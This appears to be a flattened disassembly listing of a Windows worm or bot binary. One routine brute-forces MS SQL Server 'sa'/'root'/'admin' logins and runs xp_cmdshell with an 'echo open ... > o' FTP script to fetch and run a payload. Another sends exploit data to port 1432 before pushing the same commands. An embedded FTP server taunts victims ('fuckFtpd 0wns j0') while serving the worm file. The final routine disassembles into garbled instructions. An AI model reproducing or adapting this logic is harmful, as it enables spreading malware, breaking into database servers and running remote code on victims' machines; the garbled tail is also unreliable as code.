loc_404CF0: ; CODE XREF: sub_404C9C+3Dj cmp [esp+8+arg_4], dl jz short loc_404D0D mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404D02 cmp eax, edi jnb short loc_404D1A loc_404D02: ; CODE XREF: sub_404C9C+60j push 1 mov ecx, esi call sub_404D21 jmp short loc_404D12 ; --------------------------------------------------------------------------- loc_404D0D: ; CODE XREF: sub_404C9C+58j cmp [esi+0Ch], edi jnb short loc_404D1A loc_404D12: ; CODE XREF: sub_404C9C+28j ; sub_404C9C+6Fj push edi mov ecx, esi call sub_404DF9 loc_404D1A: ; CODE XREF: sub_404C9C+64j ; sub_404C9C+74j mov al, 1 loc_404D1C: ; CODE XREF: sub_404C9C+39j pop edi pop esi retn 8 sub_404C9C endp ; =============== S U B R O U T I N E ======================================= sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp ; sub_4046AA+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404D4D mov eax, [esi+4] test eax, eax jz short loc_404D4D lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_404D46 cmp al, 0FFh jz short loc_404D46 dec al mov [ecx], al jmp short loc_404D4D ; --------------------------------------------------------------------------- loc_404D46: ; CODE XREF: sub_404D21+19j ; sub_404D21+1Dj push ecx call sub_416457 pop ecx loc_404D4D: ; CODE XREF: sub_404D21+8j ; sub_404D21+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404D21 endp ; =============== S U B R O U T I N E ======================================= sub_404D5D proc near ; CODE XREF: seg000:00404A45p ; sub_404EB6+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_404C9C test al, al jz short loc_404D8B push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4155B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404D8B: ; CODE XREF: sub_404D5D+12j mov eax, esi pop edi pop esi retn 8 sub_404D5D endp ; =============== S U B R O U T I N E ======================================= sub_404D92 proc near ; CODE XREF: sub_404BCE+39p ; sub_404BCE+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_404DA5 call sub_41FFBC loc_404DA5: ; CODE XREF: sub_404D92+Cj mov ecx, edi call sub_404EB6 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404DBB mov ebx, eax loc_404DBB: ; CODE XREF: sub_404D92+25j test ebx, ebx jbe short loc_404DF1 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416470 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_404C9C test al, al jz short loc_404DF1 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404DF1: ; CODE XREF: sub_404D92+2Bj ; sub_404D92+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_404D92 endp ; =============== S U B R O U T I N E ======================================= sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p mov eax, offset loc_42026C call sub_416438 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404E1F mov edi, [ebp+8] loc_404E1F: ; CODE XREF: sub_404DF9+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404E2C xor eax, eax loc_404E2C: ; CODE XREF: sub_404DF9+2Fj push eax call sub_4167A5 pop ecx mov [ebp+8], eax jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E38: ; DATA XREF: seg001:00421F0Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_404E47 xor eax, eax loc_404E47: ; CODE XREF: sub_404DF9+4Aj push eax call sub_4167A5 mov [ebp+8], eax pop ecx mov eax, offset loc_404E57 retn ; --------------------------------------------------------------------------- loc_404E57: ; DATA XREF: sub_404DF9+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_404E5D: ; CODE XREF: sub_404DF9+3Dj mov eax, [esi+8] test eax, eax jbe short loc_404E7B cmp eax, edi jbe short loc_404E6A mov eax, edi loc_404E6A: ; CODE XREF: sub_404DF9+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4155B0 add esp, 0Ch loc_404E7B: ; CODE XREF: sub_404DF9+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404D21 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_404E9B mov edi, ebx loc_404E9B: ; CODE XREF: sub_404DF9+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_404DF9 endp ; =============== S U B R O U T I N E ======================================= sub_404EB6 proc near ; CODE XREF: sub_404D92+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404EE3 mov al, [esi-1] test al, al jz short loc_404EE3 cmp al, 0FFh jz short loc_404EE3 push 1 call sub_404D21 push esi call sub_415CD0 pop ecx push eax push esi mov ecx, edi call sub_404D5D loc_404EE3: ; CODE XREF: sub_404EB6+9j ; sub_404EB6+10j ... pop edi pop esi retn sub_404EB6 endp ; =============== S U B R O U T I N E ======================================= sub_404EE6 proc near ; DATA XREF: seg002:00423008o test ds:byte_46975C, 1 jnz short loc_404EF6 or ds:byte_46975C, 1 loc_404EF6: ; CODE XREF: sub_404EE6+7j jmp $+5 push offset nullsub_1 call sub_416820 pop ecx retn sub_404EE6 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F08 proc near ; CODE XREF: seg000:0040516Cp var_E2C = byte ptr -0E2Ch var_A2C = byte ptr -0A2Ch var_62C = byte ptr -62Ch var_22C = byte ptr -22Ch var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp sub esp, 0E2Ch mov al, ds:byte_438F9C push esi mov [ebp+var_1], al push edi lea eax, [ebp+var_14] xor edi, edi push eax mov esi, offset aSa ; "sa" push edi push 1 mov [ebp+var_2C], esi mov [ebp+var_28], offset aRoot ; "root" mov [ebp+var_24], offset aAdmin ; "admin" mov [ebp+var_20], edi mov [ebp+var_18], edi mov [ebp+var_10], edi mov [ebp+var_8], edi call ds:dword_43A2FC test ax, ax jnz short loc_404F68 push 0FFFFFFFAh push 3 push 0C8h push [ebp+var_14] call ds:dword_43A400 test ax, ax jz short loc_404F6F loc_404F68: ; CODE XREF: sub_404F08+47j xor eax, eax jmp loc_405148 ; --------------------------------------------------------------------------- loc_404F6F: ; CODE XREF: sub_404F08+5Ej lea eax, [ebp+var_10] push eax push [ebp+var_14] push 2 call ds:dword_43A2FC test ax, ax jnz loc_40513B test esi, esi push ebx jz loc_40512C mov edi, ds:dword_421060 lea eax, [ebp+var_2C] mov [ebp+var_C], eax mov ebx, offset aTilesoft_com ; "Tilesoft.com" loc_404FA1: ; CODE XREF: sub_404F08+1CFj cmp ds:off_42C328, 0 jz loc_4050CB mov eax, offset off_42C328 mov esi, eax loc_404FB5: ; CODE XREF: sub_404F08+122j lea ecx, [ebp+var_1] push ecx push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax] lea eax, [ebp+arg_4] push [ebp+arg_A0] push eax lea eax, [ebp+var_A2C] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_4154CD add esp, 1Ch lea eax, [ebp+var_1A] push 0 push eax lea eax, [ebp+var_E2C] push 400h push eax lea eax, [ebp+var_A2C] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_A2C] push eax push 0 push [ebp+var_10] call ds:dword_43A3B4 test ax, ax jz short loc_405031 cmp ax, 1 jz short loc_405031 push 1F4h call edi ; Sleep add esi, 4 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_404FB5 jmp loc_4050CB ; --------------------------------------------------------------------------- loc_405031: ; CODE XREF: sub_404F08+10Bj ; sub_404F08+111j lea eax, [ebp+var_8] push eax push [ebp+var_10] push 3 call ds:dword_43A2FC push ebx push ebx call sub_415529 push eax call sub_415529 push eax push ds:dword_438FBC push [ebp+arg_0] call sub_40A155 pop ecx push eax lea eax, [ebp+var_62C] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_4154CD add esp, 20h lea eax, [ebp+var_62C] push 0FFFFFFFDh push eax push [ebp+var_8] call ds:dword_43A33C test ax, ax jz short loc_4050C0 mov esi, 1388h push esi call edi ; Sleep push ebx lea eax, [ebp+var_62C] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_4154CD add esp, 0Ch lea eax, [ebp+var_62C] push 0FFFFFFFDh push eax push [ebp+var_8] call ds:dword_43A33C test ax, ax jz short loc_4050DC push esi call edi ; Sleep loc_4050C0: ; CODE XREF: sub_404F08+17Fj push [ebp+var_8] push 3 call ds:dword_43A394 loc_4050CB: ; CODE XREF: sub_404F08+A0j ; sub_404F08+124j add [ebp+var_C], 4 mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_40512C jmp loc_404FA1 ; --------------------------------------------------------------------------- loc_4050DC: ; CODE XREF: sub_404F08+1B3j cmp [ebp+arg_B4], 0 mov [ebp+var_18], 1 jnz short loc_40510A push 0 lea eax, [ebp+var_22C] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D32 add esp, 14h loc_40510A: ; CODE XREF: sub_404F08+1E2j lea eax, [ebp+var_22C] push eax call sub_40B151 mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] loc_40512C: ; CODE XREF: sub_404F08+82j ; sub_404F08+1CDj push [ebp+var_10] push 2 call ds:dword_43A394 mov edi, [ebp+var_18] pop ebx loc_40513B: ; CODE XREF: sub_404F08+79j push [ebp+var_14] push 1 call ds:dword_43A394 mov eax, edi loc_405148: ; CODE XREF: sub_404F08+62j pop edi pop esi leave retn sub_404F08 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 599h push 2Fh pop ecx mov edi, esp rep movsd call sub_404F08 push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh mov [ebp+0C0h], eax push 1 pop eax pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051A0 proc near ; CODE XREF: seg000:0040539Ep var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_C], eax mov ax, ds:word_4266D8 push eax call ds:dword_43A378 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_43A3F8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4052B9 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz loc_4052B9 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43A390 ; recv mov esi, offset aTilesoft_com ; "Tilesoft.com" push esi push esi push ds:dword_438FBC push [ebp+arg_0] call sub_40A155 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A4A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_4052B9 push 1F4h call ds:dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_4052BD loc_4052B9: ; CODE XREF: sub_4051A0+51j ; sub_4051A0+67j ... xor al, al jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052BD: ; CODE XREF: sub_4051A0+117j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43A390 ; recv push ebx call ds:dword_43A410 ; closesocket mov al, 1 loc_4052DB: ; CODE XREF: sub_4051A0+11Bj pop edi pop esi pop ebx leave retn sub_4051A0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call ds:dword_4211C8 ; gethostbyname mov esi, eax test esi, esi jnz short loc_40530A lea eax, [ebp+0Ch] push eax call ds:dword_4211D8 ; inet_addr mov ebx, eax jmp short loc_405310 ; --------------------------------------------------------------------------- loc_40530A: ; CODE XREF: seg000:004052FAj mov ebx, [ebp+0C0h] loc_405310: ; CODE XREF: seg000:00405308j push 11h push 2 push 2 call ds:dword_4211E0 ; socket test esi, esi mov edi, eax jz short loc_40533A movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_4155B0 add esp, 0Ch jmp short loc_40533D ; --------------------------------------------------------------------------- loc_40533A: ; CODE XREF: seg000:00405320j mov [ebp-0Ch], ebx loc_40533D: ; CODE XREF: seg000:00405338j test esi, esi jz short loc_40534B mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_405351 ; --------------------------------------------------------------------------- loc_40534B: ; CODE XREF: seg000:0040533Fj mov word ptr [ebp-10h], 2 loc_405351: ; CODE XREF: seg000:00405349j push 598h call ds:dword_4211DC ; ntohs mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call ds:dword_4211E4 ; connect test eax, eax jnz short loc_4053D6 push eax push 152h push offset dword_426584 push edi call ds:dword_4211EC ; send push 3E8h call ds:dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_4051A0 add esp, 0BCh test al, al jz short loc_4053B2 push 1 pop eax jmp short loc_4053E8 ; --------------------------------------------------------------------------- loc_4053B2: ; CODE XREF: seg000:004053ABj lea eax, [ebp-210h] push eax call sub_40B151 mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] jmp short loc_4053E6 ; --------------------------------------------------------------------------- loc_4053D6: ; CODE XREF: seg000:0040536Fj push 1 push edi call ds:dword_4211CC ; shutdown push edi call ds:dword_4211F0 ; closesocket loc_4053E6: ; CODE XREF: seg000:004053D4j xor eax, eax loc_4053E8: ; CODE XREF: seg000:004053B0j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+8] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp-6DCh] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp-0A6Ch] xor edi, edi push eax push 101h mov [ebp-28h], ebx mov [ebp-18h], ebx mov [ebp-228h], edi mov [ebp-438h], edi call ds:dword_4211B0 ; WSAStartup push edi call loc_416AB4 push eax call sub_41551F push 0FA00h push 471h call sub_41407E add esp, 10h mov ds:dword_438FBC, eax push edi push ebx push 2 call ds:dword_4211E0 ; socket mov esi, eax lea eax, [ebp-28h] push 4 push eax push 4 push 0FFFFh push esi mov [ebp-0Ch], esi call ds:dword_4211B4 ; setsockopt lea eax, [ebp-18h] push eax push 8004667Eh push esi call ds:dword_4211B8 ; ioctlsocket mov ax, word ptr ds:dword_438FBC mov word ptr [ebp-38h], 2 push eax mov [ebp-34h], edi call ds:dword_4211DC ; ntohs mov [ebp-36h], ax lea eax, [ebp-38h] push 10h push eax push esi call ds:dword_4211BC ; bind test eax, eax jge short loc_4054C2 mov eax, ebx jmp loc_4059E9 ; --------------------------------------------------------------------------- loc_4054C2: ; CODE XREF: seg000:004054B9j push 0Ah push esi call ds:dword_4211C0 ; listen mov [ebp-228h], ebx mov ebx, ds:dword_4211EC mov [ebp-224h], esi mov [ebp-4], esi loc_4054E0: ; CODE XREF: seg000:00405519j ; seg000:004059E1j push 41h lea esi, [ebp-228h] pop ecx lea edi, [ebp-438h] rep movsd xor esi, esi lea eax, [ebp-438h] push esi push esi push esi push eax mov eax, [ebp-4] inc eax push eax call ds:dword_4211D0 ; select cmp eax, 0FFFFFFFFh jz loc_4059E6 xor edi, edi cmp [ebp-4], esi mov [ebp+8], edi jl short loc_4054E0 loc_40551B: ; CODE XREF: seg000:004059DBj xor esi, esi push 64h lea eax, [ebp-29Ch] push esi push eax call sub_415550 push 64h lea eax, [ebp-0ACh] push esi push eax call sub_415550 add esp, 18h lea eax, [ebp-438h] push eax push edi call sub_4200E6 ; __WSAFDIsSet test eax, eax jz loc_4059D4 cmp edi, [ebp-0Ch] jnz short loc_4055D2 lea eax, [ebp-24h] mov dword ptr [ebp-24h], 10h push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-0Ch] call ds:dword_4211C4 ; accept cmp eax, 0FFFFFFFFh jz loc_4059D4 xor ecx, ecx cmp [ebp-228h], esi jbe short loc_40559C lea edx, [ebp-224h] loc_40558C: ; CODE XREF: seg000:0040559Aj cmp [edx], eax jz short loc_40559C inc ecx add edx, 4 cmp ecx, [ebp-228h] jb short loc_40558C loc_40559C: ; CODE XREF: seg000:00405584j ; seg000:0040558Ej cmp ecx, [ebp-228h] jnz short loc_4055BA cmp dword ptr [ebp-228h], 40h jnb short loc_4055BA mov [ebp+ecx*4-224h], eax inc dword ptr [ebp-228h] loc_4055BA: ; CODE XREF: seg000:004055A2j ; seg000:004055ABj cmp eax, [ebp-4] jle short loc_4055C2 mov [ebp-4], eax loc_4055C2: ; CODE XREF: seg000:004055BDj push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4055D2: ; CODE XREF: seg000:00405556j push esi lea eax, [ebp-29Ch] push 64h push eax push edi call ds:dword_4211E8 ; recv test eax, eax jg short loc_405639 mov edx, [ebp-228h] xor ecx, ecx cmp edx, esi jbe short loc_40562D lea eax, [ebp-224h] loc_4055F9: ; CODE XREF: seg000:00405603j cmp [eax], edi jz short loc_405607 inc ecx add eax, 4 cmp ecx, edx jb short loc_4055F9 jmp short loc_40562D ; --------------------------------------------------------------------------- loc_405607: ; CODE XREF: seg000:004055FBj dec edx cmp ecx, edx jnb short loc_405627 lea eax, [ebp+ecx*4-224h] loc_405613: ; CODE XREF: seg000:00405625j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp-228h] add eax, 4 dec edx cmp ecx, edx jb short loc_405613 loc_405627: ; CODE XREF: seg000:0040560Aj dec dword ptr [ebp-228h] loc_40562D: ; CODE XREF: seg000:004055F1j ; seg000:00405605j push edi call ds:dword_4211F0 ; closesocket jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_405639: ; CODE XREF: seg000:004055E5j lea eax, [ebp-334h] push eax lea eax, [ebp-0ACh] push eax lea eax, [ebp-29Ch] push offset aSS_1 ; "%s %s" push eax call sub_416A80 lea eax, [ebp-0ACh] push offset aUser_0 ; "USER" push eax call sub_4158F0 add esp, 18h test eax, eax jnz short loc_40567D push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_40567D: ; CODE XREF: seg000:0040566Ej lea eax, [ebp-0ACh] push offset aPass ; "PASS" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4056A1 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_4056A1: ; CODE XREF: seg000:00405692j lea eax, [ebp-0ACh] push offset aSyst ; "SYST" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4056C5 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_4056C5: ; CODE XREF: seg000:004056B6j lea eax, [ebp-0ACh] push offset aRest ; "REST" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4056E9 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_4056E9: ; CODE XREF: seg000:004056DAj lea eax, [ebp-0ACh] push offset off_4268E0 push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40570D push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_40570D: ; CODE XREF: seg000:004056FEj lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_405748 lea eax, [ebp-334h] push offset aA ; "A" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_405748 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_405748: ; CODE XREF: seg000:00405722j ; seg000:00405739j lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_405783 lea eax, [ebp-334h] push offset aI ; "I" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_405783 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059BF ; --------------------------------------------------------------------------- loc_405783: ; CODE XREF: seg000:0040575Dj ; seg000:00405774j lea eax, [ebp-0ACh] push offset aPasv ; "PASV" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4057D1 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp-124h] rep movsd push eax lea eax, [ebp-124h] push eax movsw call sub_415CD0 pop ecx push eax lea eax, [ebp-124h] loc_4057C1: ; CODE XREF: seg000:00405810j push eax push dword ptr [ebp+8] call ebx ; send xor esi, esi loc_4057C9: ; CODE XREF: seg000:004058E0j mov edi, [ebp+8] jmp loc_4059C2 ; --------------------------------------------------------------------------- loc_4057D1: ; CODE XREF: seg000:00405798j lea eax, [ebp-0ACh] push offset aList ; "LIST" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_405812 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp-0C4h] rep movsd movsw push eax lea eax, [ebp-0C4h] push eax movsb call sub_415CD0 pop ecx push eax lea eax, [ebp-0C4h] jmp short loc_4057C1 ; --------------------------------------------------------------------------- loc_405812: ; CODE XREF: seg000:004057E6j lea eax, [ebp-0ACh] push offset aPort ; "PORT" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_4058E5 lea eax, [ebp-2D0h] push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-29Ch] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416A80 lea eax, [ebp-0F8h] push eax call sub_415A3F mov edi, eax lea eax, [ebp-2D0h] push eax call sub_415A3F mov [ebp-8], eax push 32h lea eax, [ebp-0F8h] push esi push eax call sub_415550 push dword ptr [ebp-8] lea eax, [ebp-0F8h] push edi push offset aXX ; "%x%x\n" push eax call sub_4154CD add esp, 44h lea eax, [ebp-0F8h] push 10h push esi push eax call sub_416A69 mov [ebp-8], eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-48h] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4154CD add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push dword ptr [ebp+8] call ebx ; send jmp loc_4057C9 ; --------------------------------------------------------------------------- loc_4058E5: ; CODE XREF: seg000:00405827j lea eax, [ebp-0ACh] push offset aRetr ; "RETR" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_4059A0 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push dword ptr [ebp-8] lea eax, [ebp-48h] push eax call sub_4059F0 pop ecx cmp eax, 1 pop ecx jnz short loc_405996 call loc_405A6D cmp eax, 1 jnz loc_4059C2 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp-6D8h] push eax lea eax, [ebp-48h] push ds:dword_438FBC push eax lea eax, [ebp-8DCh] push offset dword_426724 push eax call sub_4154CD add esp, 14h cmp [ebp-440h], esi jnz short loc_405987 push esi lea eax, [ebp-8DCh] push dword ptr [ebp-444h] push eax lea eax, [ebp-4C4h] push eax push dword ptr [ebp-6DCh] call sub_412D32 add esp, 14h loc_405987: ; CODE XREF: seg000:00405962j lea eax, [ebp-8DCh] push eax call sub_40B151 pop ecx jmp short loc_4059C2 ; --------------------------------------------------------------------------- loc_405996: ; CODE XREF: seg000:0040591Cj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059BF ; --------------------------------------------------------------------------- loc_4059A0: ; CODE XREF: seg000:004058FAj lea eax, [ebp-0ACh] push offset aQuit ; "QUIT" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4059C2 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059BF: ; CODE XREF: seg000:00405678j ; seg000:0040569Cj ... push edi call ebx ; send loc_4059C2: ; CODE XREF: seg000:004057CCj ; seg000:00405926j ... push 64h lea eax, [ebp-29Ch] push esi push eax call sub_415550 add esp, 0Ch loc_4059D4: ; CODE XREF: seg000:0040554Dj ; seg000:00405576j ... inc edi cmp edi, [ebp-4] mov [ebp+8], edi jle loc_40551B jmp loc_4054E0 ; --------------------------------------------------------------------------- loc_4059E6: ; CODE XREF: seg000:0040550Bj push 1 pop eax loc_4059E9: ; CODE XREF: seg000:004054BDj pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059F0 proc near ; CODE XREF: seg000:00405912p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4211B0 ; WSAStartup push 0 push 1 push 2 call ds:dword_4211E0 ; socket push [ebp+arg_0] mov ds:dword_438FB8, eax mov [ebp+var_10], 2 call ds:dword_4211D8 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4211DC ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_438FB8 call ds:dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_405A68 push ds:dword_438FB8 call ds:dword_4211F0 ; closesocket call ds:dword_4211AC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A68: ; CODE XREF: sub_4059F0+60j push 1 pop eax leave retn sub_4059F0 endp ; --------------------------------------------------------------------------- loc_405A6D: ; CODE XREF: seg000:0040591Ep push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 3D0000h mov ecx, 0FEFC858Dh ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- jmp fword ptr [eax+78h] ; --------------------------------------------------------------------------- imul eax, [edx+0], 12CE850h add [eax], eax mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405B04 test byte ptr [esi+0Ch], 10h jnz short loc_405AE8 push edi mov edi, 400h loc_405AB0: ; CODE XREF: seg000:00405AE5j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_416B90 add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push ds:dword_438FB8 call ds:dword_4211EC ; send push 1 call ds:dword_421060 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_405AB0 pop edi loc_405AE8: ; CODE XREF: seg000:00405AA8j push esi call sub_415B20 pop ecx push ds:dword_438FB8 call ds:dword_4211F0 ; closesocket call 